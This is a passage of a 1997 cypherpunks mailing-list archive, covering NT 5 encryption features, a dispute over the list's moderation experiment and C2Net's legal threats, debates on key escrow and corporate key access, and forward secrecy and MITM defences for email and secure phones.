restrictions on cry. An migration path from 40 to 56 bit is mentioned too -
if restrictions will lower down. (Hope so !)

The second aspect of EFS ist the ?option? to data-recovery (not key recovery
or key escrow). There is one/more Security Agents -the Admin or delegated
persons- whose public key will be used in an additional encrypted-block to
give companies the possibility to restore the !! DATA !!! encrypted with the
public key of that Sec-Agent.

NOTE: The private key of the user will not be used or made public to anyone
at anytime !!  (Replace anyone by Company, Manager, Hacker, Government, FBI
or the like) By this it seems to be true data-recovery as should be. The
open question states itself - what backdoors did/had to M$ implement to cope
with US.

---

Kerberos v5 is something completely different ! It is build up to replace
the silly plaintext and the clever (but broken) challenge/response protocols
of older versions of NT. [Call for Hackers]

On the one hand you will loose lots of compatibility but gain lots of
security. It is strongly used in the authentication of the new directory
structure of NT 5 (another withepaper to read). Kerb v5 also points in the
direction of DCE / *NIX compatibility.

---

IMHO the effort of M$ is quite good but not nearly completed as there are
several needed features not implemented yet and announced for NT 5.x or 6.
And its a BETA if you have it !
As you can think I'm really hot to get the NT5 beta to test those new
features.

---

Discuss it   : )

Peter
simply a german student (and nearly MCSE)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 13 Oct 1997 02:52:36 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
Message-ID: <1.5.4.32.19971012183512.006a9260@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri and Adam queried about me receiving a C2-lawyer 
letter to DV:

I didn't see the letter, either on cpunks unedited (where I remained
subscribed throughout the experiment and happily continue to be
despite genocidal warnings to desist). Nor did I get a copy directly 
from Dimitri as he claims to have sent as cc, which I doubt.

I suspect that if there is, or was, such a letter, it's either a fabrication 
of Dimitri himself, or a message he calculatedly sought so he could
flag wave it. A page from the book of secret agents.

Dimitri, Allah bless his carcass, is a learned and deft provocateur.

So the problem I've got with Dimitri's allegations is that he's 
demonstrated that he has the skills and godless urge to spoof,
spook and hound anybody who crosses him for Rasputin purposes 
not yet disclosed. Not that that's unusual hereabouts -- and who 
truly wants forgo comforting righteousness to confront an evil soul.

Insecure smart cards, those (we) highly miseducated warriors 
seeking warfare, in our ability to engender and prolong grievances 
against others and deny theirs of us, and draw people into our webs 
of revenge and expatiation, against enemies of imagination and 
passion.

In this DV, among many, is a fierce do-or-die competitor with, say,
Tim May, and I still have a hunch that the two (or many) are in 
cahoots (if only in like mindedness and bulldog tenacity), now, and 
maybe at the beginning of the grand  experiment of testing 
cypherpunkian elasticity with orchestrated provocateurism.
 
All of us stirring the witches brew with fake innocence and real
malice.

None of us are going to quietly give up addiction to bloodlust,
and will forever nightsweat insults and succumb to the urge to 
do vainglorious battle for vaporware honor.

Dementia, due, as ever, to miseducation, haywire ambition, 
filmic fantasies of glory and immortality, dampened only by
inevitable glandular wind-down.

Is this dustup really about the faults of likeminded C2 and 
Dimitri, or our shared need for diversion from dread of 
disappearance without a trace?

Billy Sunday





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 12 Oct 1997 21:53:39 +0800
To: cypherpunks@toad.com
Subject: Phone Line Internet
Message-ID: <199710121344.PAA20721@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Inter@ctive WeekOctober 10, 1997

                      Nortel Unveils 1-Megabit Phone Line
                      Ethernet

                      By Peter Lambert 
                      1:00 PM EDT 

                      Northern Telecom Inc. announced the Nortel 1-Meg
Modem, a
                      modem designed to extend Ethernet-equipped
personal computer
                      access across standard telephone lines. 

                      The company plans to deliver plug-in modules for
its DMS phone
                      company central office switches and its Internet
Thruway voice switch
                      bypass device in the first half of 1998. It will
license the 1-Meg
                      Modem technology to modem makers. 

                      The 1-Meg will deliver 1-megabit-per-second speeds
downstream
                      into homes or businesses and
120-kilobit-per-second speeds in the
                      other direction, and like Ethernet-connected local
area network
                      (LAN) interfaces, the modem will always be on,
requiring no dial-up
                      connection. 

                      The technology will offer compatibility with both
frame relay and
                      Asynchronous Transfer Mode (ATM) backbone
networks. 

                      Separately, Nortel finalized a deal to gain an
unspecified equity interest
                      in NetSpeed Inc. and rights to integrate
NetSpeed's Digital Subscriber
                      Line technology into its own products. NetSpeed's
ATM-based
                      LoopRunner Digital Subscriber Line Access
Multiplexer is designed to
                      terminate up to 560 users per central office
system rack. 

                      Nortel can be found at www.nortel.com 

                      NetSpeed can be found at www.netspeed.com 

                           Email Peter Lambert





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 12 Oct 1997 23:22:41 +0800
To: dlv@bwalk.dm.com
Subject: Re: Stronghold
In-Reply-To: <wLPgee5w165w@bwalk.dm.com>
Message-ID: <199710121508.QAA04569@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Apparently a 'bot was installed on toad.com to discard my
> submissions from the "unedited" list _after my article which
> prompted the C2net threatening lawyer letter did make it through the
> "unedited" list (but was censored from the "flames" list by C2Net).

Your claim has some plausibility, I'll grant.  You were already
singled out for special treatment, in that John Gilmore did
unsubscribe you, and block you from re-subscribing.  We know that much
because he admitted it himself.

Also Attila said something recently about some of his messages being
excluded from the unedited list, and being able to repost them at
night and have them go through.  He said he thought Tim May
experienced similar problems.

This is a serious charge because we were lead to believe that unedited
was completely unedited -- it was supposed to be straight through, and
neither John or Sandy ever admitted to editing unedited, yet according
to these claims it appears that it was being edited.

There are sort of plausible reasons why mail can disappear -- freak
delivery problem (happens now and then), or perhaps flakiness of
toad's majordomo to many changes being made to it.  It is sort of
within the bounds of believeability that these posts could have
disappeared by accident.

Given that multiple people are saying things about unedited being
edited (either by bots or by hand selection) it seems likley that
there was something sneaking going on towards the end, even with the
unedited list.

> At one point, all my submissions to cypherpunks appeared on
> "unedited" and then on "flames" with about a 3-second delay,
> indicating a 'bot at work.  The 'bot was scrubbed when C2net decided
> that my writings were not suitable for auto- forwarding to the
> "flames" list either.

Wow.  That is a somewhat plausible claim also, one it might be
possible to verify from article headers in list archives.

> For about a week, numerous articles by myself, Tim May, et al
> appeared on "unedited" but not on "flames".

I can confirm my belief that this part is true.  Numerous people have
verified this, which ocurred after Sandy faced his engineered
"dilemma" :-)

> My Jan 30th announcement that C2Net filtered out of the flames list
> _did show up on the unedited list. However my following articles,
> like the one quoting C2Net's threatening lawyer letter (which I cc'd
> to numerous people, including JYA, who, not surprisingly, declined
> to put it on his archive) 

I'd be interested to hear John Young confirm or deny this.  He if I
recall correctly was also critical of C2's handling of the affair, and
I would have thought that with his normal 'tude to censorship of
documents, he would've put it up.  So what happened John?

> did _not appear on the "unedited" list. Nevertheless at least one
> lying C2Net shill from Hewlett Packard claims that my articles
> appearing on the unedited list on January 30th prove that I wasn't
> being filtered from "unedited" one week later.

Some thing's just can't be proven.  That logic clearly doesn't flow.

> Another lying C2net shill, Jason E. Durbin, a technical writer for Oracle,
> just wrote in news.admin.net-abuse.policy:
> 
> [Dimitri bashing by Jason Durbin]
> 
> "No banishment occured" - more bizarre lies from C2Net and their supporters.

Yup, that one is incorrect -- we've established that because John
Gilmore admitted to unsubscribing you, and blocking you from
re-subscribing.

> Oh, and I don't recall sending binaries to this list either.

No, can't say I recall you sending binaries either.

> This reminds me of the claim by Rich Graves, another C2Net/Cygnus
> shill, that I'm sending "hundreds" of articles a day to this mailing
> list.

Not hundreds, I agree.  However there were a few rather long ones
about "dandruff covered Armenians" :-), something involving some
claimed historic ethnic cleansing.

> You may recall that the same C2net/Oracle shill Jason Durbin has
> been following up on my Usenet articles in sci.crypt,
> comp.unix.questions, etc with lies and libel: claiming, e.g., that I
> "lie about my credentials", that I don't even have a master's
> degree, etc. Is C2Net paying Jason Durbin to badmouth my academic
> credentials?

Your credentials are independently verifiable.  I have seen claims by
people who have said that they had satisfied themself of your
credentials by calling the university you got your PhD from.  I have
not done this myself, but I take your word for it.  

However another aspect to this argument over credentials is a comment
that arose when another person with a PhD who used the title "Dr" in
his From line subscribed to the list.  That person was Fred Cohen.
His above average education in having his PhD didn't seem to reflect
in his posts, and several people commented on this fact.  It seems to
be that listing qualifications in From fields is asking for rude
comments, or it seems to attract criticism :-)

I can say I like the practice.

Was a time on this list when there were quite a number of people who
had PhD's.  Jim Gilogly does I think, Atilla T Hun, no doubt lots of
others, several past or present list members are post grad students
studying for PhD's (and no doubt being distracted from their PhD
topics by reading cpunks).

I won't bother discussing my academic qualifications; it doesn't
really seem necessary to discuss them on list.

People's comments have value independently of their qualifications.
It can be largely orthogonal to their paper qualifications.  A lot of
people in the computer field got their qualifications in other fields.
Paul Kocher for instance if you look at his resume seems to have a BSc
in Biology or something, however this clearly doesn't get in his way,
as he does pretty high level crypto consulting (RSADSI, Netscape,
etc).

Anyway, perhaps it's time for a repost of the potted sequence of
events I constructed of the events as I was able to verify them at the
time.  Uh... dig dig, I'll find it in a bit.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Oct 1997 07:42:39 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <1.5.4.32.19971012183512.006a9260@pop.pipeline.com>
Message-ID: <VFaHee1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> Dimitri and Adam queried about me receiving a C2-lawyer 
> letter to DV:
> 
> I didn't see the letter, either on cpunks unedited (where I remained
> subscribed throughout the experiment and happily continue to be
> despite genocidal warnings to desist). Nor did I get a copy directly 
> from Dimitri as he claims to have sent as cc, which I doubt.

I' quite certain that I cc'd the letter to JYA.

I think JYA is having a credibility problem.

If I send you the letter again, will you place it in your WWW archives?


> I suspect that if there is, or was, such a letter, it's either a fabrication 
> of Dimitri himself, or a message he calculatedly sought so he could
> flag wave it. A page from the book of secret agents.

Are you questioning the authenticity of the letter from C2Net's lawyers?

Give me your fax # and and I'll fax it to you.  Ask c2Net to verify
whether it's authentic.

> 
> Dimitri, Allah bless his carcass, is a learned and deft provocateur.
> 
> So the problem I've got with Dimitri's allegations is that he's 
> demonstrated that he has the skills and godless urge to spoof,
> spook and hound anybody who crosses him for Rasputin purposes 
> not yet disclosed. Not that that's unusual hereabouts -- and who 
> truly wants forgo comforting righteousness to confront an evil soul.
> 
> Insecure smart cards, those (we) highly miseducated warriors 
> seeking warfare, in our ability to engender and prolong grievances 
> against others and deny theirs of us, and draw people into our webs 
> of revenge and expatiation, against enemies of imagination and 
> passion.
> 
> In this DV, among many, is a fierce do-or-die competitor with, say,
> Tim May, and I still have a hunch that the two (or many) are in 
> cahoots (if only in like mindedness and bulldog tenacity), now, and 
> maybe at the beginning of the grand  experiment of testing 
> cypherpunkian elasticity with orchestrated provocateurism.
>  
> All of us stirring the witches brew with fake innocence and real
> malice.
> 
> None of us are going to quietly give up addiction to bloodlust,
> and will forever nightsweat insults and succumb to the urge to 
> do vainglorious battle for vaporware honor.
> 
> Dementia, due, as ever, to miseducation, haywire ambition, 
> filmic fantasies of glory and immortality, dampened only by
> inevitable glandular wind-down.
> 
> Is this dustup really about the faults of likeminded C2 and 
> Dimitri, or our shared need for diversion from dread of 
> disappearance without a trace?
> 
> Billy Sunday
> 


I think Tim May is cool, except when he flames me for now reason.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 13 Oct 1997 00:36:21 +0800
To: cypherpunks@cyberpass.net
Subject: repost: potted history of moderation experiment
Message-ID: <199710121624.RAA05266@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri's discussion of the moderation experiment prompted me to dig
up this history of the event I wrote shortly after the distributed
lists were setup.  I did promise around this time to repost this later
after the moderation experiment to ensure that it wouldn't be itself
censored.

If Attila and Dimitri's suspicions are correct, in addition to the
below, cypherpunks-unedited may actually have been hand edited, and
have had filters placed on it which rejected certain postsers articles
out of hand, or auto-forwarding them to cypherpunks-flames.  Other
list members may be able to verify some the uncertainty surrounding
these aspects of the censorship experiment.

Enjoy,

Adam

==============================8<==============================
Date: Sun, 16 Feb 1997 23:49:09 GMT
From: Adam Back <aba@dcs.ex.ac.uk>
To: cypherpunks@toad.com
Subject: Moderation experiment and moderator liability


There appears to be a bit of a hush up surrounding the circumstances
of the pause in the moderation experiment and subsequent change of
moderation policy.

To clear the air, I think it would be kind of nice if the full story
were told, so I'll gather here a history as I understand it.
Information from my archives (those I have), and from asking around in
email.

I realise that some of the actions that I am claiming of participants
in this sequence of events seem hard to believe given their high
reputation capital.  I was myself initially dubious on the strength of
the reputation capital of those being critisized.

However the below is the sequence of events as close as I can
determine.

I welcome being proven wrong on any points.


Events:

1. Dimitri Vulis posted a lot of off topic posts over a period of time

2. Dimitri reposted a couple of 50k Serdar Argic revisionist articles 

3. Dimitri challenged John Gilmore to shut him up

4. John unsubscribed Dimitri, and modified majordomo@toad.com to
siltently ignore Dimitri's attempts to resubscribe.  Dimitri could
still post, and presumably read cypherpunks with a different email
address or via an archive.  It was a token unsubscription only.

5. When Dimitri figured out what John had done, he made many posts
denigrating John as a censor

6. Much discussion ensued critisizing John for blocking Dimitri

7. Over Christmas some joker subscribed cypherpunks@toad.com to a load
of sports mailing lists, Hugh Daniels and John cleaned up the mess

8. Followed a long thread on hardening lists against spam attacks

9. John made a post to the list announcing that the list would be
moderated for one month from Jan 11 as an experiment, and included
Sandy Sandfort's proposed moderatation policy and offer to act as
moderator.  It appeared that the moderation experiment was Sandy's
suggestion, and that John had agreed to go along with it.

10. Some discussion both pro and con of moderation, and the technical
, free speech, and legal aspects followed

11. Moderation started Jan 19, the main list became the moderated list

12. Lots of people complained about the moderation, some defended it
Tim May quietly unsubscribed

13. Some people complained about inconsistency in moderation -- some
articles which went to flames were not flamish, but made by posters
with low reputation capital, or were following up to posts which were
flamish.

14. After a while some people commented on Tim's absence, and sent him
mail asking what happened.  Tim posted an article explaining that he
had left because of the imposed moderation without discussion.

15. John followed up with a post defending the moderation experiment,
and arguing for it's popularity (he claimed as evidence the number of
posters who had not taken the trouble to move to the unedited list).

16. Dimitri posted an article where he claimed that there was a
security flaw in Stronghold.  Stronghold is C2Nets commercial version
of the freeware Apache SSL web server.  Sandy is employed by C2Net.

17. Sandy dropped the posting entirely -- it went to neither
cypherpunks (edited), nor cypherpunks-flames.  He considered that
forwarding the posting would have made him legally liable.  Sandy is a
lawyer by profession.  He did not explain this situation on the list.

18. Tim May had by now subscribed to cypherpunks-flames, and posted
several follow-ups to Dimitri's posting, discussing the issue of
Dimitri's post being dropped, and stated that Dimitri's posting was
not flamish, and should not have been dropped in his opinion.  Tim's
postings were also silently dropped, going to neither of cypherpunks
(edited), and cypherpunks-flames.

19. Sandy made an announcement that he was ending his participation in
the moderation experiment.  Still no explanation of why posts were
dropped, or even admission that they were.

20. The two moderated cypherpunks lists (cypherpunks and
cypherpunks-flames) went dead for some time.

21. Tim received a warning from C2Net's lawyers that if he did not
desist from mentioning that Dimitri had posted an article criticising
a C2Net product that he would be sued!

22. John posted a statement where he explained Sandy's sudden
announcement of ending his particpation.  John explained that Sandy
had "hit a pothole in the moderation experiment when Mr. Nemesis
submitted a posting containing nothing but libelous statements about
Sandy's employer".  Sandy did not drop Johns posting even though it
covered the same topics that had resulted in Tim's posts being
dropped, and resulted in Tim receiving legal threats from C2Net.  In
the same post John said that he had come to the conclusion that he was
no longer willing to host the cypherpunks list.  In this post John
announced that Sandy had been persuaded to continue to moderate for
the remainder of the moderation period, and gave the new policy.  The
changes were that anything other than crypto discussion and discussion
of forming a new cypherpunks list would go to flames, and anything
that Sandy thought was libelous would be dropped silently.

23. Sandy posted a statement affirming that he would continue to
moderate, and that if any cypherpunks wished to discuss his prior
moderation policy and performance as a moderator that they do it on
new lists which they create themselves.


(If Sandy's current moderation criteria mean that he feels obliged to
forward this post to cypherpunks-flames as off-topic, or even to
silently drop it from both moderated lists, so be it.  I will simply
repost it later, when the moderation experiment is over on one of the
new lists.  In the event of myself receiving legal threats, I shall
simply post it via a remailer, or rely on someone else to do so.  C2
does not appear to be running any remailers at the moment, otherwise I
would use a remailer hosted at c2.net as the exit node in the remailer
chain.)


The positive outcome of all this has been to make the cypherpunks list
more resilient to legal attack.  The new distributed list seems to be
progressing well, and will be less liable to attack.  Filtering
services continue, as they should.  And alt.cypherpunks has been
created as a forum ultimately resistant to legal attack.

Also I should say that I would hope that no one holds any long term
animosity towards any of the players in this episode, many of the
people have been very prolific in their work to further online privacy
and freedom, and I hope that we can all put this chapter behind us.


Now more fun things...

Anyone checked out the DES breaking project?

Over on 

        http://fh28.fa.umist.ac.uk/des/ 

are details of mailing lists where people are organising breaking
RSADSIs DES challenge.  For the RC5/32/12/6 (48 bit RC5) break which
took 13 days, it seems there were a peak of 5000 machines involved.
At this rate it will take 8 months to break DES.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Mon, 13 Oct 1997 00:10:05 +0800
To: cypherpunks@toad.com
Subject: Is Adam Back falling for one of Minitru's tricks?
Message-ID: <199710121557.RAA13185@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



Dammit Adam.  I respect your opinion and your knowlege about
these issues, but I think that you've been fooled by Minitru's
machinations.


Minitru would _like_ for the world's businessmen to be 
presented with a choice between "brittle" crypto-- private keys
held solely by owners, plaintext available solely to recipient,
where every forgotten password, missed keystroke or disgruntled
saboteur means the company loses valuable data permanently-- or
GAKked crypto where these problems of brittleness are solved by
Big Brother paternally providing backups when you find yourself
in need.


In reality neither of these is an acceptable alternative for 
serious use of strong crypto in business.  Escrow is a 
valuable business concept, which was invented by businessmen 
centuries ago and has been used ever since because it 
provides significant value to the participants who voluntarily
enter into the escrow contracts.  In the context of the 
information age and crypto, escrow will be one of the basic 
building blocks of the new era, both for basic business 
purposes-- serving the same purpose that escrow has always 
served but with heightened importance to pseudonymous, global 
commerce-- and for building cryptosystems which are robust in
the context of data being shared among many people (e.g. a 
company).


The issue is not how many people are given access to your keys
or your data.  The issue is whether you maintain your right to
control who those people are (including, but not limited to, 
your right to decide that you will be the only person with 
access), or whether others with delusions of grandeur and 
obedient police forces can compel you or trick you into giving
them access.


Don't let Minitru continue to confuse the issue-- you'll be 
left with nothing but false alternatives.  Escrow is good and 
necessary and inevitable-- ask any businessman.  GAK is not
escrow.  Escrow is not GAK.


Regards,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 13 Oct 1997 12:06:53 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Corporate Access to Keys (CAK) Considered Harmful
In-Reply-To: <v04001b20b0637c652eba@[129.46.85.154]>
Message-ID: <v03007800b06748fcd672@[207.94.249.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:50 AM -0700 10/10/97, Tim May wrote:
>I don't think we've yet seen a good example of massive amounts of e-mail
>being examined in a "discovery" process, yet, but we saw the effects on IBM
>during its antitrust issues in the 70s. Basically, every scrap of paper,
>every desk calendar, every internal memo, everything, had to be turned over
>to opposing counsel.

A group from IBM who had developed a telephone based audio messaging system
many years ago described it at Share (the IBM large systems users' group)
many years ago.  They described their system as being used by the top level
IBM executives.  They also described the aggressive "no backups" policy and
mentioned the discovery process in the Justice Department vs. IBM suit.
Tim's point is very real.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 13 Oct 1997 12:06:56 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: CAK as a really bad form of corporate networking
In-Reply-To: <v03102802b0641232c44b@[207.167.93.63]>
Message-ID: <v03007801b0674ae749c6@[207.94.249.179]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:28 AM -0700 10/10/97, Tim May wrote:
>One way to look at the market for CAK is that a company is too flaky to
>have a corporate network or backup strategy and is using CAK as a kind of
>crude networking scheme. E-mail, with cc:ing of the company crypto czar, is
>a way to archive or pool company traffic. A rather back-assed approach, it
>seems to me.

Another way to look at it is:  Large corporations aren't much different
from governments.  Their management doesn't know what is going on down in
the trenches, and they are scared.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 13 Oct 1997 09:13:49 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Stronghold
Message-ID: <1.5.4.32.19971013005209.009584e8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Dimitri wrote:

>Give me your fax # and and I'll fax it to you.  Ask c2Net to verify
>whether it's authentic.

Okay. That's a deal. Send it under the river, and I'll put it on our site.

Fax: 212-799-4003.  

Don't give up if it's busy, the line's also used for losing bets.

My credibility went south years ago, sent packing by disbelieving
housemates and offspring. Inflated baby jesus loves me, though.

John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 13 Oct 1997 10:32:36 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: D-H Forward Secrecy for E-Mail?
In-Reply-To: <199710130116.CAA01032@server.test.net>
Message-ID: <199710130223.WAA15345@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <199710130116.CAA01032@server.test.net>, on 10/13/97 
   at 02, Adam Back <aba@dcs.ex.ac.uk> said:

>As pgp 5.0 uses key servers directly from the mail client (and some other
>clients do also), this all works out because you just publish your new
>weekly communications key on the keyserver, and this eliminates the need
>for interactive communications with your recipient which true DH PFS
>requires.  In fact I think you could do this right now, if you made it
>clear to others that your key has short expiry in your .signature or
>whatever.  As I mentioned in another post David Wagner currently does
>just this.

Adam,

Have you considered the logistical nightmare that this would cause?? I can
see that you are unaware of the precarious state the current PGP Public
Key Server Network is in. Right now it is getting by but this increase in
load would bring it all to a screeching halt. There have been suggestions
of moving key distributution to the DNS but I seriously doubt even it
would handle the traffic.

Also what happens to the "web of trust" in such a system of high key
turnover?

Exactly how much added security is provided by all of this?? While Forward
security via DH "may" be more secure is the added expense of implementing
such a system justified?? We all could switch to using OTP's for maximum
security but I doubt that few if any would justify the cost of such a
system.

PS: current PGP key format does have a field for key expiration. Until 5.0
it was only used in the Viacrypt version.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 13 Oct 1997 11:11:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: James A. Michner [non-crypto]
Message-ID: <199710130327.WAA30859@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Thought some of you might care to know that James A. Michner the Pulitzer
prize winning author who lives here in Austin, Tx. has decided to take
himself off the kidney dialysis machine that has been keeping him alive.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 13 Oct 1997 14:52:43 +0800
To: "John Kelsey" <cypherpunks@Algebra.COM>
Subject: Re: Defeating MITM with Eric's Secure Phone
In-Reply-To: <199710110651.BAA02401@email.plnet.net>
Message-ID: <v03007801b0675fedb3e4@[207.94.249.103]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:53 PM -0700 10/10/97, John Kelsey wrote:
>This is *almost* right.  We need to add one more thing,
>though:
>
>1.      Alice calls Mallory, thinking she's calling Bob.
>She reads the first three digits to him.  He makes the
>connection fall apart.  At the same time, Mallory calls Bob,
>pretending to be Alice, and causes the connection to fall
>apart at the same time.

John - You're absolutely right.  I haven't had a phone connection fail
after connect for a coon's age, but I remember the bad old days of living
in GTE-land.  (For example, the time I called my wife from work and she
asked me to call Kristine and have her call because no one in Los Gatos
could call out.)

A comm failure during authentication should be enough reason to go to the
next set of 16 words.

N.B. I was assuming that Alice would only commit one digit to Bob before
having Bob commit one digit to her.  It seems from our analysis that doing
it one digit at a time greatly improves the chances of catching Mallory
early.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 13 Oct 1997 14:58:00 +0800
To: Adam Back <whgiii@invweb.net
Subject: Re: IETF policy on refusing to allow politics to weaken protocols(Re: Why Adam Back keeps politicizing technical issues)
In-Reply-To: <199710110431.AAA21720@users.invweb.net>
Message-ID: <v03007802b067652cef84@[207.94.249.103]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:41 AM -0700 10/11/97, Adam Back wrote:
>
>5. The IETF process should be accepting proposed designs and deciding
>on the best ones, which PGP Inc, and the other suppliers would then go
>and implement.  As it is now, as William Allen Simpson just pointed
>out, PGP Inc is cruising ahead implementing, and deploying things
>without bothering with the OpenPGP process.

Just a quick reality check here.  Frequently implementations have proceeded
IETF standards.  That is one of the strengths of the IETF process (as
compared with e.g the CCITT.)



-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 13 Oct 1997 11:48:45 +0800
To: cypherpunks@toad.com
Subject: Re: James A. Michner [non-crypto]
In-Reply-To: <199710130327.WAA30859@einstein.ssz.com>
Message-ID: <B7THee9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate <ravage@ssz.com> writes:

> Thought some of you might care to know that James A. Michner the Pulitzer
> prize winning author who lives here in Austin, Tx. has decided to take
> himself off the kidney dialysis machine that has been keeping him alive.

ObPerrygram: unless there were stego messages hidden in his books, you're
waaaaaaaaaaaay off-topic, Jim.

Harold Highland, whom I've had the honor of meeting a few times, passed
away about a month ago.  There's a eulogy by Gene Spafford in the IEEE
Electronic Newsletter on Security and Privacy.

Also a good friend who worked with me at NASA (and worked on the Apollo
project before) just passes a way.

Feels like a plague on good people.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Mon, 13 Oct 1997 15:02:04 +0800
To: Trei Family <cypherpunks@toad.com
Subject: Re: CMR paves the road to GAK, and provides no corporate security.
In-Reply-To: <3.0.1.32.19971012005421.007ab570@pop3.ziplink.net>
Message-ID: <v03007804b06772d92662@[207.94.249.103]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:54 PM -0700 10/11/97, Trei Family wrote:
>Classified agencies know this. In the classified world, there is a huge effort
>to protect data from outside attack. There is a similarly intense effort to
>check that only loyal, reliable, trustworthy people get clearances, and
>strong 'need to know' controls to restrict what data even they can see.
>However,
>once a cleared person has acheived properly authorized access to classified
>data, there is (in my observation) remarkably little done to prevent them
>from deliberately walking off with it.

There's damn little you can do in a free society.  KeyKOS provided a
facility where you could give information to a program and ensure it could
not communicate it elsewhere.  However this facility involved running the
program in what amounted to solitary confinement.  While you can get away
to doing this to programs, people are (rightfully) different.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
